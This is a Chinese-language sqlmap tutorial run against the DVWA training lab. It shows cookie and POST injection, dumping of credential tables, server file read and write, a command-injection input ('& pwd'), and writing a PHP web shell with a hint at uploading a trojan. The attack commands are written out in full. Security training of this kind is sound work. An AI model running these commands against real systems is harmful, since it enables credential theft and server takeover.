概述
目录
利用sqlmap进行需要登录的注入
利用sqlmap进行POST注入
利用sqlmap进行文件读写
利用sqlmap辅助手工注入
利用sqlmap交互式写shell
利用sqlmap进行需要登录的注入
sqlmap是一款开源、功能强大的自动化SQL注入工具,支持Access,MySQL,Oracle,SQL Server,DB2等多种数据库。支持get,post ,cookie注入,支持基于布尔的盲注,基于时间的盲注,错误回显注入,联合查询注入,堆查询注入等。
打开 dvwa,输入用户名:admin 密码:password,登录
选择Setup,然后点击Create/Reset Database
找到并打开SQL Injection
设置代理
地址:127.0.0.1 端口:8080 注意:端口要和burpsuite端口一致。
打开burpsuite,选择proxy,当intercept is on时表示burpsuite截断功能开启
随便提交一个数(如:1),然后点击submit
复制截取到的Cookie数据,然后关闭burp,关闭IE代理
cookie注入命令:sqlmap.py -u 注入点 --cookie=”获取的cookie”
列出当前数据库
Cookie注入命令:sqlmap.py -u 注入点 --cookie=”获取的cookie” --current-db
指定数据库猜表
Cookie注入命令:sqlmap.py -u 注入点 --cookie=”获取的cookie” -D 数据库 --tables
猜字段
Cookie注入命令:sqlmap.py -u 注入点 --cookie=”获取的cookie” -D 数据库 -T 表名 --columns
猜解字段内容
Cookie注入命令:sqlmap.py -u 注入点 --cookie=”获取的cookie” -D 数据库 -T 表名 -C 列名 --dump
这样就得到了users表中的用户名和密码了。
利用sqlmap进行POST注入
POST注入也属于SQL注入,所以究其原因还是由于参数没有过滤导致的。源码如下:
打开dvwa,输入用户名:admin 密码:password,登录
选择Brute Force选项,username和password随便输入,然后打开burpsuite,设置好本地代理(忘记的可看上面),进行抓包
将抓到的包保存为1.txt,并放到c盘根目录下。
列数据库,输入命令:sqlmap.py -r c:1.txt -p username --dbs
-r表示加载一个文件,-p指定参数
选择一个数据库,比如选mysql,
猜表,输入命令:sqlmap.py -r c:1.txt-p username -D mysql --tables
猜列,输入命令:sqlmap.py -r c:1.txt-p username -D mysql -T user --columns
猜数据,输入命令: sqlmap.py -r c:1.txt -p username -D mysql -T user -C “User,Password” --dump
利用sqlmap进行文件读写
打开dvwa,输入用户名:admin 密码:password,登录
找到并打开SQL Injection,随便提交一个数,打开burpsuite抓包,然后点击submit,获取cookie
选择Command Execution,并输入:10.1.1.136 & pwd来获得一个绝对路径,
/opt/lampp/htdocs/vulnerabilities/exec
输入:sqlmap.py -u "http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit" --
cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low" --file-read=/opt/lampp/htdocs/php.ini
成功读取了php.ini文件,并返回了路径。
将本地C:1.txt 写入到服务器端/opt/lampp/htdocs/vulnerabilities/exec/1.txt
输入:sqlmap.py -u "http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit" --
cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low" --file-write C:1.txt --file-dest /opt/lampp/htdocs/vulnerabilities/exec/1.txt
执行结果
打开http://10.1.1.136/vulnerabilities/exec/1.txt如下图
利用sqlmap辅助手工注入
打开dvwa,输入用户名:admin 密码:password,登录
找到并打开SQL Injection,随便提交一个数,打开burpsuite抓包,然后点击submit,获取cookie
使用内置函数获取用户名,版本,数据库名等信息
得到数据库名为dvwa,接下来猜表
返回1,说明存在users表,然后开始猜列
没有返回,说明不存在username列,将username改为user,返回1
得到了列名,现在我们来猜内容
借助sqlmap选项--sql-query结合手工注入语句就得到了user表中的用户信息。
利用sqlmap交互式写shell
打开dvwa,输入用户名:admin 密码:password,登录
选择Command Execution,并输入:10.1.1.136 & pwd来获得一个绝对路径
/opt/lampp/htdocs/vulnerabilities/exec
选择SQL Injection,输入一个数,使用burpsuite进行抓包,获取cookie
判断用户是否为dba,输入命令
接下来使用sqlmap进行交互式写shell
脚本类型为PHP,所以输入4
选择2,输入第二步得到的路径
成功写入2个shell,一个用来执行命令的,另一个是用来上传的,打开链接:http://10.1.1.136/vulnerabilities/exec/tmpugbxb.php
接下来就是上传木马了。或者直接执行linux命令
最后
以上就是知性草丛为你收集整理的注入工具使用-sqlmap利用sqlmap进行需要登录的注入利用sqlmap进行POST注入利用sqlmap进行文件读写利用sqlmap辅助手工注入利用sqlmap交互式写shell的全部内容,希望文章能够帮你解决注入工具使用-sqlmap利用sqlmap进行需要登录的注入利用sqlmap进行POST注入利用sqlmap进行文件读写利用sqlmap辅助手工注入利用sqlmap交互式写shell所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复